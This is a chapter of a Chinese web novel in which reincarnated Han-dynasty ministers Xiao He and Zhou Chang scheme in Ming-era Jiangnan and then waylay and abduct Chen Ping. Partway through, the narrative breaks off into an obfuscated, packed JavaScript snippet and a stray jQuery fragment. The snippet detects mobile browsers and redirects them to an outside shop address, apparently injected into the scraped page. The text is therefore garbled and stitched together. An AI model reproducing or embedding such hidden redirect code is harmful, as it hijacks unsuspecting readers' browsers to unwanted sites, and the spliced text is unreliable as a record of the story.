“不错,是叫陈平。”陈立肯定道,“事已至此,我想请韩先生拿个主意。
如何能让陈家在此局中,逃过一劫?”
“你不已经有办法了么?”韩兆很快便恢复了正常的神色,笑道:“陈家根本,还是在江西。
南直隶那些风风雨雨,与你而言,并无太大干系。
联结群豪,让他们顶在前面,试探下皇帝的态度。
如果他们能喂饱皇帝,自然是皆大欢喜。
如果不能,当断则断,表忠心千万不能落于人后。”
陈立眼角抽搐了下,南直隶的祖产,可不是个小数目。
一想到之后会面对的族中闲言碎语,陈立就感到头疼,忙躬身道:“韩先生,除此之外,可还有其他良策?”
韩兆闻言眼中鄙夷之色更浓,他端起茶杯喝了一口,意味深长道:“倭寇。”
陈立一惊,想要解释,可看着韩兆深沉的目光,谎言却怎么也说不出口。
良久,他如释重负般长叹一口气,“韩先生又是从哪里知道的?”
话音刚落,他先自嘲般一笑,说道:“也对,这点事又怎么能瞒过您的眼睛。”
韩兆神色如常,给陈立的空杯子续了些热茶,微笑道:“人走茶凉,那就续上一些。
皇帝命亲信总领南直隶不假,但他任命的亲信,就算不喜财色,也不会不喜名利。
那些倭寇,就当做陈家的见面礼。
有这笔功劳在,南直隶的祖产算是保住了。”
陈立有些意动,思考片刻后又小心问道:“敢问韩先生,可还有更...两全的谋划。”
“陈公!”韩兆低喝一声,冷漠道:“贪心不足蛇吞象。
好自为之吧。”
陈立一惊,忙躬身告罪。
再想问时,发现韩兆已经起身离开。
他神情复杂的看着韩兆离去的方向,静坐片刻后,才起身行了一礼,无声退出了房间。
屋后。
听到陈立等人离去的声音,韩兆忍不住嗤笑道;“目光短浅之辈,也想要富贵绵延。
这陈家,三代必衰。”
“丞相您、您骗了他们。”葫芦缓缓开口,或许是许久不曾说话,声音异常干枯,像是一根腐朽的木棒,轻轻敲击着厚实的木桩。
“你终于开口了。”萧何诧异笑道:“之前怎么没发现,你和陈平那厮交情这么好呢?”
葫芦没有理会他的调笑,缓慢轻声道:“如、如果真像他说、说的一样,那陈、陈平应该是咱们知道的那、那个陈平。”
“不会错的。”萧何笑道:“除了陈平,也没人会用这种阴毒的绝户计了。
没想到他也来了。
这大明,真是越来越热闹了。”
说罢,萧何站起身,活动了下筋骨,含糊道:“此地现在是待不下去了。
等陈立回过味来,势必要找咱们算账。
咱们走吧。”
“去哪?”
“扬州府,见一见老朋友。”萧何笑道:“我倒想看看,得了富贵的陈平,还能不能记得咱们这帮老友。”
他走出两步,听到身后没有动静,便回头无奈道:“你不愿去?”
葫芦没有说话,而是默默握紧了双拳。
“你不会连他也记恨上了吧?”萧何捂着脸,心有余悸道:“当初给我那一拳,还没消气吗?”
葫芦缓缓抬头,盯着萧何,闪烁不定的眼神,让萧何下意识后退了一步,苦笑道:“我告诉你,莫要乱来啊。
我知晓你心里堵,但你不能把火都撒到我身上啊。
当年我都自身难保,哪还有余力去帮别人?”
“他、他是大王的子嗣!”葫芦忽然暴怒,握紧双拳,重重锤在面前桌案上。
只听喀拉一声,桌案应声断为两截。
萧何咽了下口水,悄悄挪到安全的位置,才苦笑道:“我知道,但我能有什么办法。
你若是怨陈平,当面找他便是。
只要你不打死他,我绝不拦着你。”
“打、打死他有什么、什么用!”葫芦站起身,双目通红道:“赵王已经死了!
我现在不、不想见他!
你也不、不能去!
你、你说过要陪我找、找赵王的!”
被陈平之名勾起心中往事,周昌再难压抑住心中的怒火,显得异常激动。
萧何见状摇摇头,上前按下他的手臂,沉声道:“大明疆域辽阔,你我二人想要找到当年的熟人,无异于大海捞针。
咱俩算是运气好,生在同一个村里了。
赵地咱们找过了,沛郡走遍了,如今这江南也摸得差不多了。
只是粗略的寻找,便花费了咱们数年光阴。
要细细找上一遍,你想象要花费多久?
三十年?四十年?”
周昌眼神瞬间变得挣扎起来,脸上愧疚之色更浓,沉默片刻,突然重重敲了敲自己的脑袋,接着认真道。
“做官吧。”
萧何一愣,摇头笑道:“如今这官场上都讲官身体面,纵然进了殿试,单口吃这一项,你就要被刷下去。
不能入那一甲,
不还是要在家中苦熬,等着补缺。
而且你我都是无根浮萍,不能入了如今朝堂上那些人的法眼,想为政一方,无异于痴人说梦。”
“有、有人!”周昌激动道;“陈循。”
“他?还是算了吧。”萧何失笑道:“竖子不足与谋。
上了他的贼船,你我不日就要倒大霉,哪还有机会去找人。”
周昌一听双眸又变得黯淡,颓然坐了回去。
萧何轻声劝道:“如今最好的法子,就是去找陈平。
他现在可是天子近臣,有他在,能省咱们不少功夫。”
“不不不不见!”周昌烦躁的摆摆手,将身子扭向一边。
“那只能我去了。”萧何轻叹道;“也不知那陈平,现在还会不会认我。”
“他、他若不念旧情,我、我帮你揍他!”周昌忽然道。
“算了算了,都是故人,这么久没见,见面就动手像什么样子。”萧何笑了笑,将话题轻轻揭过。
两人沉默了一会,周昌忽然道:“丞相您、您是大才,其实不用陪我在这虚、虚度光阴,您、您可以去做官的。
找人一事,我自己也、也可以。”
“瞧你说得那叫什么话。”萧何温和笑道:“都是故人,岂有不帮之理。
何况大明已经没有丞相了,不能为丞相,还做什么官?
像上辈子一样去做主吏...不,现在好像是叫主簿,权力比当年小了不少。
看蠢人的脸色行事,我可没那份好气度。”
说罢,他走到周昌身边,认真道:“走吧,一起去看看。
你可以不见他,我先去探探口风。
实在不行...我在中间联络,总可以了吧?
昔日大汉丞相,给你做个传话的小吏,不会太委屈你了吧?”
话说到这个份上,周昌也不好意思说出拒绝的话语。
他看向笑眯眯的萧何,轻轻点了点头。
“那就这么定了。”萧何悬着的心总算落了地,鼓励般拍了拍的周昌的臂膀,“收拾东西吧。
咱们去扬州......”
深夜。
陈平醉醺醺从一家大宅中走出,对满脸恭敬的家主笑道:“您放心,田的事包在我身上,保证都是丰产的好地。
但丑话说在前头,您也不要让我难做。
该补的银钱,一分都不能少。”
“您放心,您放心,我明日便去办。”家主紧紧握住陈平手,十分热情。
当察觉到袖中传来坠物感,陈平脸上的笑容越发灿烂,重重拍了拍家主的肩膀,转身摇摇晃晃的上了马车。
待马车驶远,陈平才挑开车窗朝后面看了一眼,发现那伙人还站在门前不肯离去,这才满意的跌坐在马车上,将东西从袖中取出。
一对玉璧,白嫩无暇,哪怕是在黑暗中,都隐隐泛着温润的宝光。
摸着那比小娘子皮肤还细腻的玉璧,陈平突然笑出了声。
他还是高估这帮大家族了。
本以为是什么同舟共济的生死联盟,没想到一个个全打着死道友不死贫道的心思。
田,早晚都是要买的。
与其落在后面,捡一些别人挑剩下的坏田,不如尽早出手,买些好田填补损失。
这帮人的小算盘,倒让他省了不少功夫。
半醉半醒间,陈平正思考着如何从那帮大族身上割肉,忽然传来剧烈的晃动,他一个不稳,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14008861|148556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
撞在了马车车门上。
不等他发问,郞卫紧张的声音先响起。
“大人,前面好像有些不太对。”
“不对?”
陈平捂着脑袋,骂骂咧咧的探出头去,发现必经之路上,竟多了道人影。
月光下,一名壮硕的男子黑巾覆面,手中拎着一根长木棍,木棍上的铁枪头,随着男子转动手腕,反射出锋锐的寒光。
陈平愣了下,喃喃道:“他娘的,这时候了,还有游侠么?”
说罢,他立刻将脑袋缩了回去,重重拍了拍马车,焦急道:“愣着干嘛,跑啊!”
可刚刚还在说话的郞卫,却没有回应。
陈平呆了下,再次探出脑袋,发现那名壮汉已经不见了,只剩几具尸体躺在路中间。
陈平面色瞬间煞白。
他清楚的看见,其中一人,正是往常给他赶车的郞卫!
那现在赶车的...是谁?
电光火石间,陈平没有再犹豫,直接从车窗撞了出来,在地上滚了好几圈,接着翻身而且,玩命的向来路狂奔。
他娘的,大意了!
没想到这帮大族狗急跳墙了,竟然敢请人杀朝廷命官!
要死了要死了!
我陈平好不容易重活一次,不会折在这吧?
“大人,您去哪啊大人?”
萧何跳下马车,拢着双袖大笑道:“您还是回来吧,这晚上夜黑路远,当心摔跟头。”
陈平头也不回的骂了一句,双腿倒腾的越发快了,口中大喊道:“来人啊,救命啊!
来人啊,救......砰!”
一阵钻心的疼痛从腿上传来,陈平瞬间失去平衡,栽倒在地。
这一下,摔得他眼冒金星,脑中浑浑噩噩。
他艰难想要爬起来继续,可身后的脚步声越来越近。
恍惚间,他听见身后那人道:“你下手也太重了,万一摔傻了怎么办?”
“我有分寸。”
陈平闻言艰难向身侧看去,只见那名壮汉不知何时站到了自己身侧,轻轻晃动着手中的枪杆,“只打了腿,不碍事的。”
“好汉,两位好汉,你们是不是抓错了人了?”陈平努力翻过身,喘着粗气道:“咱们往日无怨,近日无仇,在下不知哪里得罪了二位。
二位尽管开口,在下愿意加倍偿还二位。”
“无仇无怨?”萧何故意轻笑道:“莫非你不是陈平。”
陈平猛点头,差点将肚子里的酒都晃出来。
“奇怪了,那这扬州府中,还有哪位大人,出门能有禁军护卫啊?”萧何轻笑道。
“诸位确实认错人了。”陈平深吸了两口气,将恶心感压了下去,正色道:“在下于谦,两位可能听说过我的名字。
于某有要事在身,事关这南直隶的生民百姓,还望两位网开一面,容在下先了了要事,他日待于某功成身退,再来与二位说个分明。”
说话间,陈平语气无比诚恳,满脸正气凛然。
萧何闻言一怔,看向周昌。
周昌冷哼一声,嫌弃的收回了枪杆。
就在陈平紧张不安时,萧何一句话给浇灭了他心中最后一线希望。
“陈平啊陈平,这么多年了,你果然一点都没变。
巧言令色这活计,还得是你来啊。”
陈平醉意尚未散去,捂着腿呆了好一会才反应过来,猛地抬起头,瞪大眼睛诧异道道:“你认识我?”
“岂止是认识,我......”
就在这时,远处突然响起了嘈杂的人声,紧接着无数火把如长龙一般,从黑暗中接连浮现。
“带上他先走吧。”萧何面无惧色,轻松一笑,转身向马车走去。
“不,等一下,我有话说,你们是不是......”
咚!
萧何回过头,发现陈平眼睛一翻,已经晕倒在地。
周昌一手拎着枪杆,一手拎着陈平的大腿,边走边对萧何解释道:“太、太吵了。”
“无妨,先把他关起来再说吧。”萧何笑道:“只要人无事就行。”
“不、不会变成傻子。”周昌肯定道。
两人说话间闲庭信步,缓缓走向马车。
身后昏迷的陈平被拖得滋滋作响,在地上画出了一道歪歪扭扭的线条。